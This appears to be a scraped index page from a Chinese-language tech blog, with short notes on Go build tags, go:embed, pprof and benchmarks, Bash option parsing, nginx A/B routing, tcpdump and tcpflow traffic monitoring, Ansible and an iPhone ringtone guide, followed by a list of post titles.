Mon, 18 Jul 2022 14:21:34 +0800

[Golang] 利用 build tags 達到不同的 build config

Go build -ldflags

package main

import (
 "fmt"
)

var flagString string

func main() {
 fmt.Println("This build with ldflag:", flagString)
}

$ go build -ldflags '-X main.flagString "test"'

$ ./main
This build with ldflag: test

Go build -tags

debug_config.go

//+build debug

package main

var TestString string = "test debug"
var TestString2 string = " and it will run every module with debug tag."

func GetConfigString() string {
 return "it is debug....."
}

//+build debug 前後需要一個空行(除非你在第一行)

release_config.go

//+build !debug

package main

var TestString string = "test release"
var TestString2 string = " and it will run every module as no debug tag."

func GetConfigString() string {
 return "it is release....."
}

main

package main

import (
 "fmt"
)

func main() {
 fmt.Println("This build is ", TestString, TestString2, GetConfigString())
}

$ go build -tags debug .
$ ./main
This build is test debug and it will run every module with debug tag. it is debug.....

$ go build .
$ ./main
This build is test release and it will run every module as no debug tag. it is release.....

Go embed 简明教程

Tue, 12 Jul 2022 13:57:03 +0800

Go embed 简明教程

嵌入

对于单个的文件，支持嵌入为string和 []byre
对于多个文件和文件夹，支持嵌入为新的文件系统 FS
比如导入 “embed” 包，即使无显式的使用
go:embed 指令用来嵌入，必须紧跟着嵌入后的变量名
只支持嵌入为 string, []byte 和 embed.FS 三种类型，这三种类型的别名(alias)和命名类型(如 type S string)都不可以
使用的是相对路径

string/[]byte

package main

import (
 _ "embed"
 "fmt"
)

//go:embed hello.txt
var s string

//go:embed hello.txt
var b []byte

func main() {
 fmt.Println(s)
 fmt.Println(b)
}

embed.FS

package main

import (
 "embed"
 "fmt"
)

//go:embed hello.txt hello2.txt
//go:embed "p/he llo.txt"
//go:embed `p/hello-2.txt`
//go:embed dir
var f embed.FS
func main() {
 data, _ := f.ReadFile("hello.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("hello2.txt")
 fmt.Println(string(data))
 data, _ := f.ReadFile("p/he llo.txt")
 fmt.Println(string(data))
 data, _ = f.ReadFile("p/hello-2.txt")
 fmt.Println(string(data))
}

匹配模式

go:embed 指令中可以只写文件夹名，此文件夹中除了.和_开头的文件和文件夹都会被嵌入，并且子文件夹也会被递归的嵌入，形成一个此文件夹的文件系统。

使用 Vim 當作差異比對工具

Thu, 07 Jul 2022 17:36:22 +0800

使用 Vim 當作差異比對工具

指令

vim -d file1.txt file2.txt 或 vimdiff file1.txt file2.txt

在差異視窗間切換: Ctrl-w + Ctrl-w
切換分割視窗方向
- ctrl-w + K 將視窗方向由垂直切換為水平。
- ctrl-w + H 將視窗方向切回垂直分割。
在變更之間跳轉
- ]c 前往下一個變更。
- [c 跳回上一個變更。
從差異視窗套用變更: :diffget, :diffput
匯出差異為 HTML: :TOhtml | w ~/diff.html

OIDC(OpenID Connect) 简介

Wed, 06 Jul 2022 08:47:49 +0800

OIDC(OpenID Connect) 简介

Authentication vs. authorization

Authentication 通常是指校验是否是用户本人的这个过程，而 Authorization 则更多的是指用户是否有权限。通常我们都是先校验是否是用户本人，然后再校验用户是否有权限。也就是先开始 Authentication，再开始 Authorization。

Authentication	Authorization
Determines whether users are who they claim to be	Determines what users can and cannot access
Challenges the user to validate credentials (for example, through passwords, answers to security questions, or facial recognition)	Verifies whether access is allowed through policies and rules
Usually done before authorization	Usually done after successful authentication
Generally, transmits info through an ID Token	Generally, transmits info through an Access Token
Generally governed by the OpenID Connect (OIDC) protocol	Generally governed by the OAuth 2.0 framework
Example: Employees in a company are required to authenticate through the network before accessing their company email	Example: After an employee successfully authenticates, the system determines what information the employees are allowed to access

OAuth 2

Client Credentials Grant

这种模式是最简单的，其实就是客户端告诉服务端自己是哪个客户端，服务器就将 access_token 下发

Bash 位元運算子

Mon, 04 Jul 2022 15:20:39 +0800

Bash 位元運算子

Bash 的進位轉換工具

Bash 的算術展開允許我們用「進位數字 + #」的方式表示任意進位的數字。

$ echo $((2#1001))
9

bc 可以用 ibase（輸入進位）與 obase（輸出進位）輕鬆進行進位轉換。以下將十進位的 9 轉成二進位。

$ echo "ibase=10;obase=2;9" | bc
1001

Nginx 使用 split_clients 进行简易 A/B 测试

Mon, 04 Jul 2022 14:36:23 +0800

Nginx 使用 split_clients 进行简易 A/B 测试

ngx_http_split_clients_module

configure

这里举例，我们想要 20% 的用户跳转到网址 https://example.com/，30% 的用户跳转到网址 https://example.org/，剩下的跳转到网址 https://examle.edu/

split_clients "${remote_addr}AAA" $variant {
 20% https://example.com/;
 30% https://example.org/;
 * https://example.edu/;
}

server {
 listen 80;
 listen [::]:80;
 server_name _;

 return 302 ${variant};
}

上述例子中，按照访客请求的 IP 地址加上 AAA 字符串会使用 MurmurHash2 转换成数字，如果得出的数字在前 20%，那么 $variant 值为 https://example.com/，相应的在中间 30% 区间的值为 https://example.org/，其他的为 https://example.edu/。

指定不同的目录

root /var/www/${variant};

指定不同的首页

index index-${variant}.html;

即時監控網路介面上的 HTTP 請求

Thu, 23 Jun 2022 16:48:42 +0800

即時監控網路介面上的 HTTP 請求

tcpflow

apt/dnf install tcpflow

$ sudo tcpflow -p -c -i wlp0s20f3 port 80 | grep -oE '(GET|POST) .* HTTP/1.[01]|Host: .*'
reportfilename: ./report.xml
tcpflow: listening on wlp0s20f3
GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1

GET /mirrors.txt HTTP/1.1

-p 停用混雜模式
-c 只輸出到主控台，不建立檔案
-i 指定網路介面 grep 會接收 tcpflow 的輸出
-o 只顯示符合樣式的那一段
-E 表示樣式是延伸正則表示式（ERE）

httpry

https://github.com/jbittel/httpry.git

sudo httpry -i wlp0s20f3
httpry version 0.1.8 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2014 Jason Bittel <jason.bittel@gmail.com>
Starting capture on wlp0s20f3 interface
2022-06-22 16:38:12.166 192.168.1.24 172.217.17.238 > GET google.com / HTTP/1.1 - -
2022-06-22 16:38:12.199 172.217.17.238 192.168.1.24 < - - - HTTP/1.0 400 Bad Request
2022-06-22 16:38:23.090 192.168.1.24 172.217.17.238 > POST google.com / HTTP/1.1 - -
2022-06-22 16:38:23.163 172.217.17.238 192.168.1.24 < - - - HTTP/1.1 405 Method Not Allowed

golang pprof 实战

Wed, 22 Jun 2022 15:29:02 +0800

package main

import (
 // 略
 _ "net/http/pprof" // 会自动注册 handler 到 http server，方便通过 http 接口获取程序运行采样报告
 // 略
)

func main() {
 // 略

 runtime.GOMAXPROCS(1) // 限制 CPU 使用数，避免过载
 runtime.SetMutexProfileFraction(1) // 开启对锁调用的跟踪
 runtime.SetBlockProfileRate(1) // 开启对阻塞操作的跟踪

 go func() {
 // 启动一个 http server，注意 pprof 相关的 handler 已经自动注册过了
 // /debug/pprof/
 if err := http.ListenAndServe(":6060", nil); err != nil {
 log.Fatal(err)
 }
 os.Exit(0)
 }()

 // 略
}

http://localhost:6060/debug/pprof/

类型	描述	备注
allocs	内存分配情况的采样信息	可以用浏览器打开，但可读性不高
blocks	阻塞操作情况的采样信息	可以用浏览器打开，但可读性不高
cmdline	显示程序启动命令及参数	可以用浏览器打开，这里会显示 ./go-pprof-practice
goroutine	当前所有协程的堆栈信息	可以用浏览器打开，但可读性不高
heap	堆上内存使用情况的采样信息	可以用浏览器打开，但可读性不高
mutex	锁争用情况的采样信息	可以用浏览器打开，但可读性不高
profile	CPU 占用情况的采样信息	浏览器打开会下载文件
threadcreate	系统线程创建情况的采样信息	可以用浏览器打开，但可读性不高
trace	程序运行跟踪信息	浏览器打开会下载文件，本文不涉及，可另行参阅《深入浅出 Go trace》

排查 CPU 占用过高

在 Bash 中解析命令列參數

Tue, 07 Jun 2022 14:48:47 +0800

在 Bash 中解析命令列參數

getopts

getopts optstring opt [arg ...]

#!/bin/bash

while getopts 'abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 ?|h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(( $OPTIND -1 ))"

optstring 代表支援的選項。若某個選項需要參數，則在它後面加冒號 (:)。例如選項 c 需要參數，會寫成 c:
當選項有關聯參數時，getopts 會將參數字串存到 OPTARG shell 變數中。例如 option c 的參數會存到 OPTARG。
opt 包含已解析的選項。

#!/bin/bash

while getopts ':abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 0
 ;;

 :)
 echo -e "option requires an argument.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;

 ?)
 echo -e "Invalid command option.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(( $OPTIND -1 ))"

注意我們也更新了 optstring，現在以冒號 (:) 開頭，會抑制預設的錯誤訊息。
當 OPTERR 變數設為 0 時，getopts 會停用錯誤訊息輸出。

使用 getopt 解析長選項

#!/bin/bash

VALID_ARGS=$(getopt -o abg:d: --long alpha,beta,gamma:,delta: -- "$@")
if [[ $? -ne 0 ]]; then
 exit 1;
fi

eval set -- "$VALID_ARGS"
while [ : ]; do
 case "$1" in
 -a | --alpha)
 echo "Processing 'alpha' option"
 shift
 ;;
 -b | --beta)
 echo "Processing 'beta' option"
 shift
 ;;
 -g | --gamma)
 echo "Processing 'gamma' option. Input argument is '$2'"
 shift 2
 ;;
 -d | --delta)
 echo "Processing 'delta' option. Input argument is '$2'"
 shift 2
 ;;
 --) shift;
 break
 ;;
 esac
done

-o 選項代表短選項
--long 選項代表長選項

Go 程式碼重構：23 倍效能追擊

Tue, 07 Jun 2022 13:42:07 +0800

Go 程式碼重構：23 倍效能追擊

$ go test -bench=. -cpuprofile cpu.prof
$ go tool pprof -svg cpu.prof > cpu.svg

$ go test -bench=. -trace trace.out
$ go tool trace trace.out

Dockertest 极速搭建集成测试环境神器

Thu, 12 May 2022 16:43:31 +0800

Tcpdump 使用总结

Thu, 05 May 2022 13:39:10 +0800

Tcpdump 使用总结

命令使用

tcpdump 采用命令行方式，它的命令格式为：

tcpdump [ -AdDeflLnNOpqRStuUvxX ] [ -c count ]
 [ -C file_size ] [ -F file ]
 [ -i interface ] [ -m module ] [ -M secret ]
 [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ]
 [ -W filecount ]
 [ -E spi@ipaddr algo:secret, ... ]
 [ -y datalinktype ] [ -Z user ]
 [ expression ]

tcpdump 的简单选项介绍

-E spi@ipaddr algo:secret , ...，可通过spi@ipaddr algo:secret 来解密 IPsec ESP 包。secret 为用于 ESP 的密钥，使用 ASCII 字符串方式表达。如果以 0x 开头，该密钥将以 16 进制方式读入。除了以上的语法格式(指spi@ipaddr algo:secret)，还可以在后面添加一个语法输入文件名字供 tcpdump 使用(即把 spi@ipaddr algo:secret, … 中…换成一个语法文件名)。在接收到第一个 ESP 包时会打开此文件，所以最好此时把赋予 tcpdump 的一些特权取消(可理解为，这样防范之后，当该文件为恶意编写时，不至于造成过大损害)。
-T type 强制 tcpdump 按 type 指定的协议所描述的包结构来分析收到的数据包。目前已知的 type 可取的协议为:
- aodv (Ad-hoc On-demand Distance Vector protocol，按需距离向量路由协议，在 Ad hoc(点对点模式)网络中使用)，
- cnfp (Cisco NetFlow protocol)
- rpc(Remote Procedure Call)
- rtp (Real-Time Applications protocol)
- rtcp (Real-Time Applications con-trol protocol)
- snmp (Simple Network Management Protocol)
- tftp (Trivial File Transfer Protocol，碎文件协议)
- vat (Visual Audio Tool，可用于在 internet 上进行电视电话会议的应用层协议)
- wb (distributed White Board，可用于网络会议的应用层协议)

实用命令实例

截获主机 210.27.48.1 和主机 210.27.48.2 或 210.27.48.3 的通信

Go语言高性能编程手册（万字长文）

Fri, 22 Apr 2022 18:01:43 +0800

Go 语言高性能编程手册（万字长文）

常用数据结构

反射虽好，切莫贪杯

优先使用 strconv 而不是 fmt
少量的重复不比反射差
慎用 binary.Read 和 binary.Write
- binary.Read 和 binary.Write 使用反射并且很慢。如果有需要用到这两个函数的地方，我们应该手动实现这两个函数的相关功能，而不是直接去使用它们。

避免重复的字符串到字节切片的转换

指定容器(slice/map)容量

字符串拼接方式

行内拼接字符串推荐使用运算符 +
非行内拼接字符串推荐使用 strings.Builder

遍历 []struct{} 使用下标而不是 range

两种通过 index 遍历 []struct 性能没有差别，但是 range 遍历 []struct 中元素时，性能非常差。

range 遍历 []*struct 中元素时，與下标性能没有差别。

内存管理

使用空结构体节省内存

struct 布局要考虑内存对齐

CPU 访问内存时，并不是逐个字节访问，而是以字长（word size）为单位访问。比如 32 位的 CPU ，字长为 4 字节，那么 CPU 访问内存的单位也是 4 字节。这么设计的目的，是减少 CPU 访问内存的次数，加大 CPU 访问内存的吞吐量。比如同样读取 8 个字节的数据，一次读取 4 个字节那么只需要读取 2 次。

iPhone 鈴聲製作教學，將 MP3 音樂換成電話鈴聲或鬧鐘鈴聲

Sun, 10 Apr 2022 20:01:37 +0800

步驟一：準備想換成 iPhone 鈴聲的 MP3 音樂

首先第一步是準備好你想當成鈴聲的音樂，建議是 MP3 檔，然後儲存在「檔案 App」的資料夾內

步驟二：透過 Garageband App 製作 iPhone 鈴聲

接著，請開啟 iPhone 內建的「Garageband App」（如果你刪除了請先下載回來），點選「製作歌曲」，然後選擇「錄音機」。

點選音軌: 現在進入了錄音機的頁面，點選左上角第三個圖示進到音軌，然後再點選右上角倒數第二個圓圈圖示
將 MP3 音樂拖曳到音軌上: 這步驟很關鍵，將分頁切換到「檔案」，然後找到你剛剛下載好的 MP3 音樂，將它拖曳到左邊的音軌上。
編輯鈴聲: 接著，你可以拖拉音樂的前後來編輯你想要的鈴聲片段，也可以按播放鍵來試聽目前的鈴聲是否符合你的預期。
儲存歌曲: 確認沒問題之後，點選左上角的「三角形圖示」，然後按一下「我的歌曲」，你會看到該檔案已儲存成功，接著請長按它。
製作鈴聲: 長按該音訊檔案後，選擇「分享」，然後點選「鈴聲」。
輸出鈴聲: 而在這邊你可以編輯該鈴聲的名稱，編輯完後點選右上角的「輸出」，這樣就完成自訂 iPhone 鈴聲了！

步驟三：iPhone 電話鈴聲設定

開啟 iPhone 上的「設定」app，點選「聲音與觸覺回饋」>「鈴聲」，在鈴聲這區塊內你就會看到剛剛製作好的鈴聲囉。

步驟四：iPhone 鬧鐘鈴聲設定

開啟「時鐘 App」點選左上角的「編輯」，然後選擇任一個你想更換鈴聲的的 iPhone 鬧鐘。點選「提示聲」後，將「鈴聲」改為你剛剛製作好的 MP3 音樂鈴聲就可以了。

怎么选择 Go 文件读取方案

Tue, 29 Mar 2022 16:15:34 +0800

怎么选择 Go 文件读取方案

Go 提供了可一次性读取文件内容的方法：os.ReadFile 与 ioutil.ReadFile。在 Go 1.16 开始，ioutil.ReadFile 就等价于 os.ReadFile。

一次性加载文件的优缺点非常明显，它能减少 IO 次数，但它会将文件内容都加载至内存中，对于大文件，存在内存撑爆的风险。

逐行读取

Go 中 bufio.Reader 对象提供了一个 ReadLine() 方法，但其实我们更多地是使用 ReadBytes(’\n’) 或者 ReadString(’\n’) 代替。

func ReadLines(filename string) {
 fi, err := os.Open(filename)
 if err != nil{
 panic(err)
 }
 defer fi.Close()
 reader := bufio.NewReader(fi)
 for {
 _, err = reader.ReadString('\n')
 if err != nil {
 if err == io.EOF {
 break
 }
 panic(err)
 }
 }
}

块读取

块读取也称为分片读取，这也很好理解，我们可以将内容分成一块块的，每次读取指定大小的块内容。这里，我们将块大小设置为 4KB。

func ReadChunk(filename string) {
 f, err := os.Open(filename)
 if err != nil {
 panic(err)
 }
 defer f.Close()
 buf := make([]byte, 4*1024)
 r := bufio.NewReader(f)
 for {
 _, err = r.Read(buf)
 if err != nil {
 if err == io.EOF {
 break
 }
 panic(err)
 }
 }
}

result

BenchmarkOsReadFile4KB-8 92877 12491 ns/op
BenchmarkOsReadFile4MB-8 1620 744460 ns/op
BenchmarkOsReadFile4GB-8 1 7518057733 ns/op
signal: killed

BenchmarkReadLines4KB-8 90846 13184 ns/op
BenchmarkReadLines4MB-8 493 2338170 ns/op
BenchmarkReadLines4GB-8 1 3072629047 ns/op
BenchmarkReadLines16GB-8 1 12472749187 ns/op

BenchmarkReadChunk4KB-8 99848 12262 ns/op
BenchmarkReadChunk4MB-8 913 1233216 ns/op
BenchmarkReadChunk4GB-8 1 2095515009 ns/op
BenchmarkReadChunk16GB-8 1 8547054349 ns/op

在本文的测试条件下（每行数据 1KB），对于小对象 4KB 的读取，三种方式差距并不大；在 MB 级别的读取中，直接加载最快，但块读取也慢不了多少；上了 GB 后，块读取方式会最快。

將 List 轉置為 dict 的 list

Wed, 09 Mar 2022 11:26:23 +0800

將 List 轉置為 dict 的 list

list

my_users:
 - aaa
 - bbb
 - ccc

dict

my_users:
 - Name: aaa
 - Name: bbb
 - Name: ccc

playbook

- name: Transform data
 vars:
 orig_users:
 - aaa
 - bbb
 - ccc
 my_users: []
 set_fact:
 my_users: "{{ my_users + [{} | combine({'Name': item})] }}"
 loop: "{{ orig_users }}"

說明如下：

利用 combine 這個 filter 來組出 dict
利用 loop 去 iterate orig_users
用 my_users + [{} | combine({‘Name’: item})] 來做 List append```

fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確

Thu, 06 Jan 2022 13:40:40 +0800

fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確

問題

Hi,

我在嘗試使用 fortios_system_config_backup_restore 模組，並依照你的 playbook 範例從 Fortigate 取得設定。

我使用的是 ansible 2.10.6。

當我使用 fortinet.fortios:1.1.8 這個 collection 時，出現以下錯誤：missing 1 required positional argument: 'mod'

The full traceback is:
Traceback (most recent call last):
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 102, in <module>
 _ansiballz_main()
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 94, in _ansiballz_main
 invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 40, in invoke_module
 runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)
 File "/usr/lib/python3.8/runpy.py", line 207, in run_module
 return _run_module_code(code, init_globals, run_name, mod_spec)
 File "/usr/lib/python3.8/runpy.py", line 97, in _run_module_code
 _run_code(code, mod_globals, init_globals,
 File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
 exec(code, run_globals)
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 472, in <module>
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 436, in main
TypeError: __init__() missing 1 required positional argument: 'mod'
fatal: [fortigate-01]: FAILED! => {
 "changed": false,
 "module_stderr": "Traceback (most recent call last):\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 102, in <module>\n _ansiballz_main()\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 94, in _ansiballz_main\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 40, in invoke_module\n runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)\n File \"/usr/lib/python3.8/runpy.py\", line 207, in run_module\n return _run_module_code(code, init_globals, run_name, mod_spec)\n File \"/usr/lib/python3.8/runpy.py\", line 97, in _run_module_code\n _run_code(code, mod_globals, init_globals,\n File \"/usr/lib/python3.8/runpy.py\", line 87, in _run_code\n exec(code, run_globals)\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 472, in <module>\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 436, in main\nTypeError: __init__() missing 1 required positional argument: 'mod'\n",
 "module_stdout": "",
 "msg": "MODULE FAILURE\nSee stdout/stderr for the exact error",
 "rc": 1
}

使用最新的預發布版 fortinet.fortios:2.0.0 時，我得到：

Gopher 需要知道的几个结构体骚操作

Mon, 03 Jan 2022 15:08:31 +0800

Gopher 需要知道的几个结构体骚操作

NoCopy

$ go vet aaa.go
# command-line-arguments
./aaa.go:7:14: test passes lock by value: sync.WaitGroup contains sync.noCopy
./aaa.go:15:10: call of test copies lock value: sync.WaitGroup contains sync.noCopy

type noCopy struct{}

type WaitGroup struct {
 noCopy noCopy

 // 64-bit value: high 32 bits are counter, low 32 bits are waiter count.
 // 64-bit atomic operations require 64-bit alignment, but 32-bit
 // compilers only guarantee that 64-bit fields are 32-bit aligned.
 // For this reason on 32 bit architectures we need to check in state()
 // if state1 is aligned or not, and dynamically "swap" the field order if
 // needed.
 state1 uint64
 state2 uint32
}

noCopy 定义非常简单，空结构体，zero size 不占用空间(前提是非结构体的最后一个字段，否则还要是有 8 byte 空间开销)

2022 on Ricky

Terraform Provider 開發紀錄

在 macOS 中檢視 Web Views

Go 使用 selenium 截图

整页截屏

古代計時單位

十二時辰時間對照表

更

在 Linux 中偵測 RAID 資訊

lspci

lshw

smartctl

MegaCLI

lsscsi

廠商專用工具

測試伺服器是否易受 Shellshock 漏洞影響

Shellshock 漏洞

利用 Shellshock 漏洞

Shellshock 利用指令範例

從零開始的容器

容器檔案系統

chroot

如何刪除檔名含有不可列印字元的檔案

使用 ANSI-C Quoting

使用 Inode 編號

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

chage 與密碼期限

chpasswd 與密碼

如何在別名指令上使用 which

type

GNU which

將指令輸出轉為圖片

善用 Go Fuzzing，幫助你寫出更完整的單元測試

Shell Script 最佳實務

重點

範本

命令列的藝術

一張圖學會【拼音輸入法】

聲母（Initials）

介音 / 特殊聲母

單韻母（Finals）

複韻母 / 組合韻

在 Shell 中輸出 ASCII 藝術字

banner

FIGlet: Frank, Ian, and Glenn’s Letters

TOIlet: FIGlet With More Options

如何讓終端輸出覆蓋同一行

問題簡介

「魔法碼」: \033[0K\r

ElasticSearch 学习笔记

安装中文分词插件

《宝可梦：阿尔宙斯》双周目通关

Avoiding the Top 10 NGINX Configuration Mistakes - NGINX

1) 每個 worker 的檔案描述元（FD）不夠

問題點

修正方式

補充

2) error_log off 其實沒有關閉 error log

問題點

修正方式（不建議真的關閉）

補充

3) 沒有對 upstream 啟用 keepalive（導致連線/來源埠耗盡）

問題點

修正方式

Go 字串格式化

Go 字串格式化索引

Go 字串格式化精度

Go 字串格式化旗標

Go 字串格式化寬度

LVM - lvg 與 lvol

卷群組

本地卷

範例

YAML 裡的字串很長該怎麼做？

實戰經驗整理的 25 個 Nginx 技巧

為你的Go應用建立輕量級Docker映象？ | IT人

go build

upx(brew/yum install upx)

[Golang] 利用build tags達到不同的build config

Go build -ldflags

「魔法碼」: `\033[0K\r`

2) `error_log off` 其實沒有關閉 error log

upx(`brew/yum install upx`)